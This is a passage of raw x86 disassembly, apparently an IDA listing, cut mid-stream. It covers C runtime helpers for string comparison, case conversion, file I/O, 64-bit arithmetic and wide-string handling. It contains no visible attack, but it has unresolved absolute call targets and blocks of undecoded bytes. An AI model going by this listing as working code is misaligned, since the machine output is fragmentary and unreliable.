word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax nop call near ptr 2780144h lea eax, [ebp+var_20] push eax nop call near ptr 2890000h mov ax, [ebp+var_16] cmp ax, word_4DB312 jnz short loc_41D0E6 mov ax, [ebp+var_18] cmp ax, word_4DB310 jnz short loc_41D0E6 mov ax, [ebp+var_1A] cmp ax, word_4DB30E jnz short loc_41D0E6 mov ax, [ebp+var_1E] cmp ax, word_4DB30A jnz short loc_41D0E6 mov ax, [ebp+var_20] cmp ax, word_4DB308 jnz short loc_41D0E6 mov eax, dword_4DB300 jmp short loc_41D12B ; --------------------------------------------------------------------------- loc_41D0E6: ; CODE XREF: sub_41D081+28j ; sub_41D081+35j ... lea eax, [ebp+var_CC] push eax nop call near ptr 2880000h cmp eax, 0FFFFFFFFh jz short loc_41D113 cmp eax, 2 jnz short loc_41D10F cmp [ebp+var_32], 0 jz short loc_41D10F cmp [ebp+var_24], 0 jz short loc_41D10F push 1 pop eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D10F: ; CODE XREF: sub_41D081+7Aj ; sub_41D081+81j ... xor eax, eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D113: ; CODE XREF: sub_41D081+75j or eax, 0FFFFFFFFh loc_41D116: ; CODE XREF: sub_41D081+8Cj ; sub_41D081+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4DB308 movsd movsd movsd movsd pop edi mov dword_4DB300, eax pop esi loc_41D12B: ; CODE XREF: sub_41D081+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_422669 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41D15B mov [ecx], eax locret_41D15B: ; CODE XREF: sub_41D081+D6j leave retn sub_41D081 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D160 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4DB35C cmp dword ptr [eax+8], 0 jnz short loc_41D1B3 mov al, 0FFh mov edi, edi loc_41D17C: ; CODE XREF: sub_41D160+28j ; sub_41D160+48j or al, al jz short loc_41D1AE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41D17C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41D17C sbb al, al sbb al, 0FFh loc_41D1AE: ; CODE XREF: sub_41D160+1Ej movsx eax, al jmp short loc_41D1E7 ; --------------------------------------------------------------------------- loc_41D1B3: ; CODE XREF: sub_41D160+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_41D1BC: ; CODE XREF: sub_41D160+68j ; sub_41D160+80j or al, al jz short loc_41D1E7 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41D1BC push eax push ebx call sub_41D74C mov ebx, eax add esp, 4 call sub_41D74C add esp, 4 cmp bl, al jz short loc_41D1BC sbb eax, eax sbb eax, 0FFFFFFFFh loc_41D1E7: ; CODE XREF: sub_41D160+51j ; sub_41D160+5Ej pop ebx pop esi pop edi leave retn sub_41D160 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41D268 mov edi, [esp+14h] test edi, edi jz short loc_41D20B cmp edi, 1 jz short loc_41D20B cmp edi, 2 jnz short loc_41D268 loc_41D20B: ; CODE XREF: ___:0041D1FFj ; ___:0041D204j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41D222 push esi call sub_4227C5 add [esp+14h], eax pop ecx xor edi, edi loc_41D222: ; CODE XREF: ___:0041D213j push esi call sub_41DB8B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41D237 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41D24B ; --------------------------------------------------------------------------- loc_41D237: ; CODE XREF: ___:0041D22Ej test al, 1 jz short loc_41D24B test al, 8 jz short loc_41D24B test ah, 4 jnz short loc_41D24B mov dword ptr [esi+18h], 200h loc_41D24B: ; CODE XREF: ___:0041D235j ; ___:0041D239j ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_42272B add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41D275 ; --------------------------------------------------------------------------- loc_41D268: ; CODE XREF: ___:0041D1F7j ; ___:0041D209j mov dword_4DB2A8, 16h or eax, 0FFFFFFFFh loc_41D275: ; CODE XREF: ___:0041D266j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D280 proc near ; CODE XREF: sub_412B08+19Ep ; sub_41386B+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41D299 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41D299: ; CODE XREF: sub_41D280+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41D280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D2B4 proc near ; CODE XREF: ___:004162E3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41D2D8 xor eax, eax jmp loc_41D3A5 ; --------------------------------------------------------------------------- loc_41D2D8: ; CODE XREF: sub_41D2B4+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41D2EB mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41D2F2 ; --------------------------------------------------------------------------- loc_41D2EB: ; CODE XREF: sub_41D2B4+2Dj mov [ebp+arg_C], 1000h loc_41D2F2: ; CODE XREF: sub_41D2B4+35j ; sub_41D2B4+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41D326 mov eax, [esi+4] test eax, eax jz short loc_41D326 cmp ebx, eax mov edi, ebx jb short loc_41D30C mov edi, eax loc_41D30C: ; CODE XREF: sub_41D2B4+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41C310 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41D36C ; --------------------------------------------------------------------------- loc_41D326: ; CODE XREF: sub_41D2B4+47j ; sub_41D2B4+4Ej cmp ebx, [ebp+arg_C] jb short loc_41D371 test ecx, ecx jz short loc_41D33A push esi call sub_41DB8B test eax, eax pop ecx jnz short loc_41D3B3 loc_41D33A: ; CODE XREF: sub_41D2B4+79j cmp [ebp+arg_C], 0 jz short loc_41D34D mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41D34F ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D2B4+8Aj mov edi, ebx loc_41D34F: ; CODE XREF: sub_41D2B4+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41D3AA add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41D3AA loc_41D36C: ; CODE XREF: sub_41D2B4+70j mov edi, [ebp+var_4] jmp short loc_41D39A ; --------------------------------------------------------------------------- loc_41D371: ; CODE XREF: sub_41D2B4+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41F58A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41D3B3 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41D39A mov [ebp+arg_C], 1 loc_41D39A: ; CODE XREF: sub_41D2B4+BBj ; sub_41D2B4+DDj test ebx, ebx jnz loc_41D2F2 mov eax, [ebp+arg_8] loc_41D3A5: ; CODE XREF: sub_41D2B4+1Fj ; sub_41D2B4+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41D3AA: ; CODE XREF: sub_41D2B4+ADj ; sub_41D2B4+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41D3B5 ; --------------------------------------------------------------------------- loc_41D3B3: ; CODE XREF: sub_41D2B4+84j ; sub_41D2B4+CFj mov eax, edi loc_41D3B5: ; CODE XREF: sub_41D2B4+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41D3A5 sub_41D2B4 endp ; =============== S U B R O U T I N E ======================================= sub_41D3BE proc near ; CODE XREF: sub_416908+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call near ptr 2670E4Ch nop cmp eax, 0FFFFFFFFh jnz short loc_41D3DE call near ptr 2670914h nop push eax call sub_4203DF pop ecx loc_41D3DA: ; CODE XREF: sub_41D3BE+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41D3DE: ; CODE XREF: sub_41D3BE+Dj test al, 1 jz short loc_41D3FF test [esp+arg_4], 2 jz short loc_41D3FF mov dword_4DB2A8, 0Dh mov dword_4DB2AC, 5 jmp short loc_41D3DA ; --------------------------------------------------------------------------- loc_41D3FF: ; CODE XREF: sub_41D3BE+22j ; sub_41D3BE+29j xor eax, eax retn sub_41D3BE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D410 proc near ; CODE XREF: sub_416922+3Fp ; sub_41A98C+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41D432 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41D473 ; --------------------------------------------------------------------------- loc_41D432: ; CODE XREF: sub_41D410+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41D440: ; CODE XREF: sub_41D410+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D440 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41D46E cmp edx, [esp+8+arg_4] ja short loc_41D46E jb short loc_41D46F cmp eax, [esp+8+arg_0] jbe short loc_41D46F loc_41D46E: ; CODE XREF: sub_41D410+4Ej ; sub_41D410+54j dec esi loc_41D46F: ; CODE XREF: sub_41D410+56j ; sub_41D410+5Cj xor edx, edx mov eax, esi loc_41D473: ; CODE XREF: sub_41D410+20j pop esi pop ebx retn 10h sub_41D410 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D480 proc near ; CODE XREF: sub_416922+2Dp ; sub_41A98C+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41D4A1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41D4F1 ; --------------------------------------------------------------------------- loc_41D4A1: ; CODE XREF: sub_41D480+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41D4AF: ; CODE XREF: sub_41D480+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D4AF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41D4DA cmp edx, [esp+4+arg_4] ja short loc_41D4DA jb short loc_41D4E2 cmp eax, [esp+4+arg_0] jbe short loc_41D4E2 loc_41D4DA: ; CODE XREF: sub_41D480+4Aj ; sub_41D480+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41D4E2: ; CODE XREF: sub_41D480+52j ; sub_41D480+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41D4F1: ; CODE XREF: sub_41D480+1Fj pop ebx retn 10h sub_41D480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D500 proc near ; CODE XREF: sub_416A32+5Fp ; sub_416A32+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41D521 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41D521: ; CODE XREF: sub_41D500+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41D53D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41D53D: ; CODE XREF: sub_41D500+27j or eax, eax jnz short loc_41D559 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41D59A ; --------------------------------------------------------------------------- loc_41D559: ; CODE XREF: sub_41D500+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41D567: ; CODE XREF: sub_41D500+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41D567 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41D595 cmp edx, [esp+0Ch+arg_4] ja short loc_41D595 jb short loc_41D596 cmp eax, [esp+0Ch+arg_0] jbe short loc_41D596 loc_41D595: ; CODE XREF: sub_41D500+85j ; sub_41D500+8Bj dec esi loc_41D596: ; CODE XREF: sub_41D500+8Dj ; sub_41D500+93j xor edx, edx mov eax, esi loc_41D59A: ; CODE XREF: sub_41D500+57j dec edi jnz short loc_41D5A4 neg edx neg eax sbb edx, 0 loc_41D5A4: ; CODE XREF: sub_41D500+9Bj pop ebx pop esi pop edi retn 10h sub_41D500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5AA proc near ; CODE XREF: sub_4170EC+BFp ; sub_4170EC+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DB364 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41D5DE mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41D645 loc_41D5C6: ; CODE XREF: sub_41D5AA+30j mov cl, [edx] cmp cl, 61h jl short loc_41D5D7 cmp cl, 7Ah jg short loc_41D5D7 sub cl, 20h mov [edx], cl loc_41D5D7: ; CODE XREF: sub_41D5AA+21j ; sub_41D5AA+26j inc edx cmp [edx], bl jnz short loc_41D5C6 jmp short loc_41D645 ; --------------------------------------------------------------------------- loc_41D5DE: ; CODE XREF: sub_41D5AA+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_422ACA mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41D637 push edi call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41D637 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4DB364 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D637 push [ebp+var_4] push [ebp+arg_0] call sub_41BEB0 pop ecx pop ecx loc_41D637: ; CODE XREF: sub_41D5AA+53j ; sub_41D5AA+61j ... push [ebp+var_4] call sub_41B0B1 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41D645: ; CODE XREF: sub_41D5AA+1Aj ; sub_41D5AA+32j pop ebx leave retn sub_41D5AA endp ; =============== S U B R O U T I N E ======================================= sub_41D648 proc near ; CODE XREF: sub_417ADD+1A8p arg_0 = dword ptr 4 cmp dword_43C534, 1 jle short loc_41D65F push 4 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D65F: ; CODE XREF: sub_41D648+7j mov eax, [esp+arg_0] mov ecx, off_43C328 mov al, [ecx+eax*2] and eax, 4 retn sub_41D648 endp ; =============== S U B R O U T I N E ======================================= sub_41D670 proc near ; CODE XREF: sub_420510+76p ; sub_420510+88p ... arg_0 = dword ptr 4 cmp dword_43C534, 1 jle short loc_41D687 push 8 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D687: ; CODE XREF: sub_41D670+7j mov eax, [esp+arg_0] mov ecx, off_43C328 mov al, [ecx+eax*2] and eax, 8 retn sub_41D670 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+0Ch] test eax, eax jz short locret_41D6EC mov edx, [esp+4] push esi push edi mov esi, edx mov edi, [esp+10h] or edx, edi and edx, 3 jz short loc_41D6ED test eax, 1 jz short loc_41D6CD mov cl, [esi] cmp cl, [edi] jnz short loc_41D71A inc esi inc edi dec eax jz short loc_41D6EA loc_41D6CD: ; CODE XREF: ___:0041D6C0j ; ___:0041D6E8j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41D71A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41D71A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41D6CD loc_41D6EA: ; CODE XREF: ___:0041D6CBj ; ___:0041D724j pop edi pop esi locret_41D6EC: ; CODE XREF: ___:0041D6A6j retn ; --------------------------------------------------------------------------- loc_41D6ED: ; CODE XREF: ___:0041D6B9j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41D722 repe cmpsd jz short loc_41D722 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41D715 cmp ch, dh jnz short loc_41D715 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41D715 cmp ch, dh loc_41D715: ; CODE XREF: ___:0041D703j ; ___:0041D707j ... mov eax, 0 loc_41D71A: ; CODE XREF: ___:0041D6C6j ; ___:0041D6D3j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41D722: ; CODE XREF: ___:0041D6F5j ; ___:0041D6F9j test eax, eax jz short loc_41D6EA mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41D715 dec eax jz short loc_41D749 cmp dh, ch jnz short loc_41D715 dec eax jz short loc_41D749 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41D715 dec eax loc_41D749: ; CODE XREF: ___:0041D72Fj ; ___:0041D736j pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D74C proc near ; CODE XREF: sub_418068+6p ; sub_418086+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB364, 0 push ebx push esi push edi jnz short loc_41D779 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41D812 cmp eax, 5Ah jg loc_41D812 add eax, 20h jmp loc_41D812 ; --------------------------------------------------------------------------- loc_41D779: ; CODE XREF: sub_41D74C+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41D7AD cmp dword_43C534, esi jle short loc_41D79B push esi push ebx call sub_41F515 pop ecx pop ecx jmp short loc_41D7A5 ; --------------------------------------------------------------------------- loc_41D79B: ; CODE XREF: sub_41D74C+42j mov eax, off_43C328 mov al, [eax+ebx*2] and eax, esi loc_41D7A5: ; CODE XREF: sub_41D74C+4Dj test eax, eax jnz short loc_41D7AD loc_41D7A9: ; CODE XREF: sub_41D74C+ADj mov eax, ebx jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D7AD: ; CODE XREF: sub_41D74C+3Aj ; sub_41D74C+5Bj mov edx, off_43C328 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D7D1 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41D7DA ; --------------------------------------------------------------------------- loc_41D7D1: ; CODE XREF: sub_41D74C+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41D7DA: ; CODE XREF: sub_41D74C+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4DB364 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D7A9 cmp eax, esi jnz short loc_41D805 movzx eax, [ebp+var_4] jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D805: ; CODE XREF: sub_41D74C+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D812: ; CODE XREF: sub_41D74C+16j ; sub_41D74C+1Fj ... pop edi pop esi pop ebx leave retn sub_41D74C endp ; =============== S U B R O U T I N E ======================================= sub_41D817 proc near ; CODE XREF: sub_4185A4+ADp ; sub_419593+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41D82E loc_41D824: ; CODE XREF: sub_41D817+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41D824 loc_41D82E: ; CODE XREF: sub_41D817+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41D817 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D834 proc near ; CODE XREF: sub_4185A4+7Fp ; sub_4185A4+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41D901 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41D92E cmp dword_4DB364, esi jnz short loc_41D885 cmp edi, esi jbe loc_41D92E loc_41D864: ; CODE XREF: sub_41D834+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41D92E inc eax inc edx inc edx cmp eax, edi jb short loc_41D864 jmp loc_41D92E ; --------------------------------------------------------------------------- loc_41D885: ; CODE XREF: sub_41D834+26j mov ebx, [ebp+arg_4] mov esi, dword_427180 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DB374 call esi test eax, eax jnz loc_41D92D nop call near ptr 2670914h cmp eax, 7Ah jz short loc_41D8BF loc_41D8B0: ; CODE XREF: sub_41D834+CBj ; sub_41D834+F7j mov dword_4DB2A8, 2Ah or eax, 0FFFFFFFFh jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D8BF: ; CODE XREF: sub_41D834+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41D8C7: ; CODE XREF: sub_41D834+B3j mov cl, [eax] test cl, cl jz short loc_41D8E9 mov edx, off_43C328 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41D8DE inc eax loc_41D8DE: ; CODE XREF: sub_41D834+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41D8C7 loc_41D8E9: ; CODE XREF: sub_41D834+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DB374 call esi test eax, eax jnz short loc_41D92E jmp short loc_41D8B0 ; --------------------------------------------------------------------------- loc_41D901: ; CODE XREF: sub_41D834+Fj cmp dword_4DB364, esi jnz short loc_41D914 push [ebp+arg_4] call sub_41AFE0 pop ecx jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D914: ; CODE XREF: sub_41D834+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DB374 call near ptr 2830000h nop cmp eax, esi jz short loc_41D8B0 loc_41D92D: ; CODE XREF: sub_41D834+6Bj dec eax loc_41D92E: ; CODE XREF: sub_41D834+1Aj ; sub_41D834+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41D834 endp ; --------------------------------------------------------------------------- db 10h dd 0DBD7CA15h, 22E07A47h, 0D6C10AF5h, 0A1644F6Fh, 0 dd 25896450h, 0 dd 5358EC83h, 65895756h, 41D5E8E8h, 33900248h, 89D48AD2h dd 4DB2C015h, 81C88B00h, 0FFE1h, 0BC0D8900h, 0C1004DB2h dd 0CA0308E1h, 0B2B80D89h, 0E8C1004Dh, 0B2B4A310h, 0F633004Dh dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h dd 5BE8FC75h, 90000059h, 484178E8h, 0C94CA302h, 19E8004Dh dd 0A3000058h, 4DB318h, 55C2E8h, 5504E800h, 0B9E80000h dd 89FFFFDDh, 458DD075h, 29E850A4h, 90024826h, 5495E8h dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah dd 569C75FFh, 2606E856h, 50900226h, 0FE3820E8h, 0A04589FFh dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 0D3E85150h dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41DA29 proc near ; CODE XREF: sub_41D052+16p ; ___:00422F18p ... arg_0 = dword ptr 4 cmp dword_4DB320, 1 jnz short loc_41DA37 call sub_423590 loc_41DA37: ; CODE XREF: sub_41DA29+7j push [esp+arg_0] call sub_4235C9 push 0FFh call off_43A2F0 pop ecx pop ecx retn sub_41DA29 endp ; --------------------------------------------------------------------------- dw 3D83h dd offset dword_4DB320 dd 0E8057501h, 5B34h, 42474FFh, 5B64E8h, 0FF685900h, 90000000h dd 0A58244E8h db 77h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41DA72 proc near ; CODE XREF: sub_41B05B+2Ap ; sub_423A33+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DC700 jnb loc_41DB0C mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC600h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41DB0C push edi call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DAEB cmp edi, 1 jz short loc_41DAB9 cmp edi, 2 jnz short loc_41DACF loc_41DAB9: ; CODE XREF: sub_41DA72+40j push 2 call sub_4238A2 push 1 mov ebp, eax call sub_4238A2 pop ecx cmp eax, ebp pop ecx jz short loc_41DAEB loc_41DACF: ; CODE XREF: sub_41DA72+45j push edi call sub_4238A2 pop ecx push eax nop call near ptr 26508EFh test eax, eax jnz short loc_41DAEB nop call near ptr 2670914h mov ebp, eax jmp short loc_41DAED ; --------------------------------------------------------------------------- loc_41DAEB: ; CODE XREF: sub_41DA72+3Bj ; sub_41DA72+5Bj ... xor ebp, ebp loc_41DAED: ; CODE XREF: sub_41DA72+77j push edi call sub_423828 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41DB08 push ebp call sub_4203DF pop ecx jmp short loc_41DB1D ; --------------------------------------------------------------------------- loc_41DB08: ; CODE XREF: sub_41DA72+8Bj xor eax, eax jmp short loc_41DB20 ; --------------------------------------------------------------------------- loc_41DB0C: ; CODE XREF: sub_41DA72+Ej ; sub_41DA72+2Fj and dword_4DB2AC, 0 mov dword_4DB2A8, 9 loc_41DB1D: ; CODE XREF: sub_41DA72+94j or eax, 0FFFFFFFFh loc_41DB20: ; CODE XREF: sub_41DA72+98j pop edi pop esi pop ebp pop ebx retn sub_41DA72 endp ; =============== S U B R O U T I N E ======================================= sub_41DB25 proc near ; CODE XREF: sub_41B05B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41DB4E test al, 8 jz short loc_41DB4E push dword ptr [esi+8] call sub_41B0B1 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41DB4E: ; CODE XREF: sub_41DB25+Aj ; sub_41DB25+Ej pop esi retn sub_41DB25 endp ; =============== S U B R O U T I N E ======================================= sub_41DB50 proc near ; CODE XREF: sub_41DBF0+2Dp ; sub_41DBF0+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41DB62 push esi call sub_41DBF0 pop 